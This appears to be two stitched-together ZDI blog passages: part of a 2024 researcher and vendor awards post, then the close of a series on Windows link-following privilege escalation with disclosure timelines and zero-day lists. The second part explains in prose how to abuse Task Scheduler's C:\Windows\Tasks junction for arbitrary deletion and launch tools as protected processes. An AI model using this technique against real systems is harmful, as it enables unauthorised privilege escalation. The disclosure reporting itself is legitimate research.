Not all bugs are created equal. Some are more esoteric while others are straightforward and likely to be exploited. These submissions show a level of practicality vendors appreciate, and threat actors do, too.

The bugs submitted by Mark Yason are just these types of bugs. They are straightforward and practical. More than one has been used in-the-wild after being patched by the vendor. His continued excellence has earned him Gold status with the ZDI and caffeine status with incident responders.

4.         Best Use of AI - Sina Kheirkhah

This award goes to the researcher who had the best use of Artificial Intelligence throughout the year. This could be demonstrated at a Pwn2Own event or a regular case submission.

During the inaugural Pwn2Own Automotive competition, Sina used ChatGPT to help debug an issue he was having with one of his exploits while on stage. Although the LLM didn’t write the exploit or find the bug, it showed how an inventive researcher can use AI to assist in writing exploit code.

5.         Most In-Depth Submissions - Marcin Wiązowski

Not all submissions are equal. Some truly stand out amongst others. This category recognizes the researcher who continually goes above and beyond in their submissions, including write-ups and code examples. Their submissions not only help us understand the underlying vulnerability, but they help the vendor understand it as well.

Marcin Wiązowski is a regular submitter to the program and a Pwn2Own winner as well. His reports are consistently next-level, providing such a thorough analysis that the ZDI rarely needs to add anything before submitting his bugs to the vendor. Some of his reports have also been used as guest blogs for the ZDI, with little changes or editing needed.

Moving on to the Vendor Awards, here are the five categories for 2024:

1.         Best security advisories - Adobe

Security advisories are one of the best tools in the defender’s arsenal to gauge the risk to their enterprise, but not all advisories provide accurate, thorough information. This award goes to the vendor who consistently provides clear, actionable information in an easy-to-read format.

This year, we would like to recognize Adobe for its consistently excellent security advisories. Delivered every second Tuesday of the month, the advisories provide administrators with the information they need to judge the risks to their systems without giving too much away for attackers to use. They also highlight the work of the many researchers reporting bugs to them with their acknowledgments.

2.        Most transparent communication - Solarwinds

Not every communication between the ZDI and vendors goes smoothly. That’s why it is important to highlight the vendors who are honest and transparent with their communications, even if they are communicating bad news.

Over the last 18 months, the communications between SolarWinds and the ZDI have been just that. They are open and honest about their security posture, even to the point of being blunt. They have been proactive and open to working with our researchers to learn what is required to fix certain vulnerabilities.

3.        Most collaborative vendor - Tesla Motors

Not all vendors are happy to hear from the ZDI, but some collaborate with us to strengthen their products or services. This award goes to the vendor who went above and beyond in their work with the Zero Day Initiative.

This year, we are proud to recognize the continuing partnership we have with Tesla Motors. Beginning with Pwn2Own Vancouver in 2019, they have helped the ZDI showcase some of the best automotive research in the world. They were also instrumental in helping the first-ever Pwn2Own Automotive be such a success. We look forward to working with them in the future.

4.        Most improved vendor - Ivanti

Not every vendor starts with a fantastic response process. There’s often a learning curve, and it’s usually painful. However, we want to recognize the vendor who has made significant improvements to their responsiveness and security update process.

Ivanti had a rough start to 2024, but CEO Jeff Abbott set out to, “look critically at every phase of our processes, and every product, to ensure the highest level of protection for our customers.” Here at the ZDI, we’ve seen this improvement firsthand as we continue to report vulnerabilities to them.

5.        Fastest to patch - Mozilla

When dealing with as many disclosures as we do, it’s good to recognize those vendors who take bug reports seriously and patch them as fast as possible.

Earlier this year at Pwn2Own Vancouver, Mozilla patched the bugs used by Manfred Paul to achieve his sandbox escape of Mozilla Firefox within 48 hours of receiving the bugs. This rapid reaction shows their dedication to resolving bugs as fast as possible – especially when they are demonstrated on stage.

The Ceremony

The award ceremony itself will take place at the Trend Micro booth on the show floor at noon local time. We will present several of these awards in person and have some special video messages from those who cannot attend in person. We hope you can be there as well. If you’re unable to attend, follow us on Twitter, Mastodon, LinkedIn, or Instagram for the results.

Hoping to see you in Vegas!

To wrap up this blog series we wanted to include one more technique that you can use when exploiting this class of vulnerabilities. This technique, introduced to us by Abdelhamid Naceri, becomes useful when you have an on-boot arbitrary delete primitive that you want to transform into an on-demand delete, so that you can escalate using the C:\Config.msi technique.  We will also share a tool that can make debugging protected processes on Windows easier and end by detailing some difficulties we faced during disclosures with several vendors.

Technique ++

One way you can use an on-boot delete primitive is to abuse the Windows Task Scheduler included in default installations of Windows. The Task Scheduler uses the following two directories to perform tasks:

C:\Windows\System32\Tasks - for standard task management.
C:\Windows\Tasks - for legacy operations aimed at ensuring compatibility with Windows XP.

When removing a task, the Task Scheduler does not validate mount points before it deletes the corresponding .job file from C:\Windows\Tasks. The DACL on C:\Windows\Tasks allows writing by a standard user. To prevent a user from taking advantage of this to convert C:\Windows\Tasks into a junction, Windows places a hidden SA.DAT file in this directory, so that the directory will not be empty. Exploiting this setup, it’s possible to transform a controlled boot-time deletion into an on-demand file deletion by removing the SA.DAT file. After deleting this file, the directory is empty, so it can be converted into a junction. Afterwards, deletion of the .job file can be redirected to C:\Config.Msi::$INDEX_ALLOCATION. Despite the directory being emptied of the .job file, Windows still believes this file is present in the tasks folder when we trigger the deletion of the task in our exploit. This is because task information is stored and managed in the Windows registry under the TaskCache key:

Below is a demonstration of this technique that we used to exploit a vulnerability we found in Papercut NG/MF Windows servers. The specific issue was within the PaperCut Web Print service which performed privileged delete operations in `C:\Windows\TEMP\web-print` when this service was started. This directory is typically used to store temporary files that are queued for printing. In the case of a system crash or other unexpected service shutdown, this directory has the potential to take up significant amounts of disk space. The service's delete-on-startup feature is intended to remove these temporary files that are no longer needed. However, this service never verifies any of the items it attempts to delete. So, by placing junctions inside this directory we can abuse this service to delete the contents of arbitrary directories on startup.

Making life a little easier

A common problem throughout this research project that we ran into occurred when we wanted to know more about a file operation that some application was performing. We’d double-click on the operation in Procmon, navigate to the stack trace tab, and be shown something like this:

Although we could see some of the calls that happened in the kernel, all other calls were unknown. This means we often could not find what binary or module was responsible for the file operations or what function that code was calling. We ran into this problem because the antivirus products we were looking at were running as protected processes. What this means is that these processes cannot be debugged, terminated, or inspected at all from a non-protected process, even if the user requesting to do any of these things is running as NT AUTHORITY\SYSTEM.

One can get around this by setting up a kernel debugging session, but this approach can be quite time-consuming. So instead, we used another technique. Since these protected processes cannot be viewed by a normal process, we simply need to turn our non-protected process into a protected one! This can be done using a tool such as PPLcontrol which uses a vulnerable driver to allow for arbitrary read and write access to kernel memory, which can be used to set arbitrary protection levels for any process. We have conveniently borrowed this functionality to create our own simple tool which will allow us to launch any process as a protected process. When we launch Procmon again as a protected process, we can finally see what all those unknowns are:

This tool also allows for a convenient way to debug a protected process. By launching WinDbg as a protected process, or a debugging server, we are now able to attach and debug protected processes. You can download this tool here. You can learn more and find additional resources about debugging protected processes here. 

Vendor Vertigo - A Few Examples of Difficult Disclosures

ZDI’s goal is always to get bugs patched and disclosed properly. We do our best to work with vendors to meet this goal. We recently published a separate blog that highlighted the ongoing erosion of trust between vendors and researchers that we have seen firsthand through our program. In this section, we will provide more context to illustrate the scope of this problem collected throughout this project.

Intel Corporation

An anonymous external researcher submitted several link following vulnerabilities in Intel's software that we ended up having to disclose without a patch.

We submitted the first case to them on 09/13/2023. The next day they responded to us with the following:

“We are rejecting this issue. After reviewing the information provided in this report, the Intel PSIRT team has determined that this report is out of scope of the Intel® Bug Bounty Program and therefore is not eligible for rewards. Symlinks are an Windows OS feature that are not managed by Intel Software.

For more details about symlink vulnerabilities see https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-1074

Best Regards,
Intel PSIRT”

After they sent this, we wrote back that same day with a detailed explanation of why this should be remediated alongside several published examples. It is also worth noting that the ZDI never requests or collects bug bounties from vendors. We didn’t receive a response back. 

Timeline:

09/13/23 – ZDI reported the vulnerability to the vendor.
09/14/23 – The vendor states they are rejecting the case as it is out of the scope of the Intel Bug Bounty Program.
09/14/23 – ZDI provided additional details on why this vulnerability should be remediated and that we intend to publish the case as a zero-day advisory on 09/21/23. -- Mitigation: Given the nature of the vulnerability, the only salient mitigation strategy is to restrict interaction with the application.
09/21/23 - No response from Vendor. ZDI publishes zero-day advisory.

Two weeks later, the second case followed the timeline below:

10/03/23 – ZDI reported the vulnerability to the vendor.
10/04/23 – Vendor acknowledges the report and said they are reviewing the case.
11/27/23 – The vendor states they are rejecting the case because it is a duplicate.
11/28/23 – The vendor sends an additional email that states " Symlinks are an Windows OS feature that are not managed by Intel Software”.
12/05/23 – ZDI again provided additional details on why this vulnerability should be remediated and that we intend to publish the case as a zero-day advisory on 12/12/23.
12/06/23 – The vendor requests when and where ZDI plans to disclose the vulnerability.
12/12/23 – ZDI publishes zero-day advisory.

These two cases with Intel emphasize a serious disconnect and apparent lack of commitment to understanding and addressing critical issues in their software.

PaperCut

If you are not familiar with PaperCut, their software is deployed to manage printing in various sectors including academia, healthcare, and government. Their website strongly emphasizes security, mentioning it several times on their website’s landing page. To their credit, they have been proactive in patching all the vulnerabilities we have reported to them thus far.

However, we have encountered alarming issues with PaperCut's handling of vulnerability disclosures. Despite our efforts to provide comprehensive evidence and detailed explanations during calls and email exchanges, PaperCut has chosen to downplay the severity and number of vulnerabilities in its publications.

As shown in the following screenshot, they have chosen to condense and categorize four vulnerabilities that include various vulnerability types with different impacts into two CVEs. These CVEs were given the same incorrect CVSS score and assigned to our cases based on whether triggering the bug will create or delete files on the system. This short-sighted and negligent approach leaves the public blind to the real impact of the reported vulnerabilities.

It is worth noting that the advisory also mentions that “This vulnerability only applies to PaperCut NG/MF Windows servers with the PaperCut Web Print Server service enabled.” In our testing this service is enabled by default, so we were immediately confused as to why they mentioned this as if it was not enabled by default. When scrolling to the bottom of the page we find that they have included the following mitigation guidance:

In another case from the year prior, the verbiage in the advisory shows they understand that the attacker only requires low privileged code execution to escalate, and yet they still mark the CVSS as PR:H:

The concern is that vendors are minimizing critical issues and not adequately warning users about the associated risks. Unfortunately, vendors are doing this to maintain their image and circumvent legal reporting requirements. This practice undermines the intended purpose of vulnerability reporting while misleading users.

Below are the associated cases that we sent to Papercut that are mentioned in the above advisories:

ZDI-CAN-23859: PaperCut NG Directory Traversal Local Privilege Escalation Vulnerability
CVSS 3: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8)

ZDI-CAN-24042: PaperCut NG Link Following Local Denial-of-Service Vulnerability
CVSS 3: AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H (6.1)

ZDI-CAN-23757: PaperCut NG web-print-hot-folder Link Following Local Privilege Escalation Vulnerability
CVSS 3: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8)

ZDI-CAN-20972: PaperCut NG pc-web-print Link Following Local Privilege Escalation Vulnerability
CVSS 3: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8)

ZDI-CAN-21500: PaperCut NG Uncontrolled Search Path Element Local Privilege Escalation Vulnerability
CVSS 3: AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.0)

Discoveries

As a result of the work shown in this blog series, we have discovered and disclosed the following vulnerabilities that have now been patched:

CVE-2024-3037, PaperCut NG web-print-hot-folder Link Following Local Privilege Escalation Vulnerability
CVE-2024-4454, WithSecure Elements Endpoint Protection Link Following Local Privilege Escalation Vulnerability
CVE-2024-2003, ESET Smart Security Premium Link Following Local Privilege Escalation Vulnerability
CVE-2024-0353, ESET Smart Security Premium ekrn Link Following Local Privilege Escalation Vulnerability
CVE-2024-3037, PaperCut NG pc-web-print Link Following Local Privilege Escalation Vulnerability

The 14 vulnerabilities below are being released as zero-day vulnerabilities because they remain unpatched.

ZDI-CAN-22238: (0day) VIPRE Advanced Security SBAMSvc Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-22260: (0day) AVG AntiVirus Free AVGSvc Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-22272: (0day) Avast Free Antivirus AvastSvc Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-22803: (0day) AVG AntiVirus Free Link Following Denial-of-Service Vulnerability
ZDI-CAN-22806: (0day) Avast Free Antivirus Link Following Denial-of-Service Vulnerability
ZDI-CAN-22942: (0day) AVG AntiVirus Free icarus Arbitrary File Creation Denial of Service Vulnerability
ZDI-CAN-22960: (0day) AVG AntiVirus Free AVGSvc Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-22963: (0day) Avast Free Antivirus AvastSvc Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-23005: (0day) F-Secure Total Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-23375: (0day) Panda Security Dome Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-23402: (0day) Panda Security Dome Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-23413: (0day) Panda Security Dome Link Following Local Privilege Escalation Vulnerability
ZDI-CAN-23428: (0day) Panda Security Dome VPN DLL Hijacking Local Privilege Escalation Vulnerability
ZDI-CAN-23429: (0day) Panda Security Dome VPN Incorrect Permission Assignment Local Privilege Escalation Vulnerability

Conclusion

As mentioned previously, we fear that there may be several other vendors whose products are currently vulnerable, but because their products are paywalled, we were not able to test them. We hope the techniques and cases presented in this blog series have inspired you to explore and identify vulnerabilities that you can submit to the ZDI program. You can find us on Twitter at @Izobashi and @NZubrisky and the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches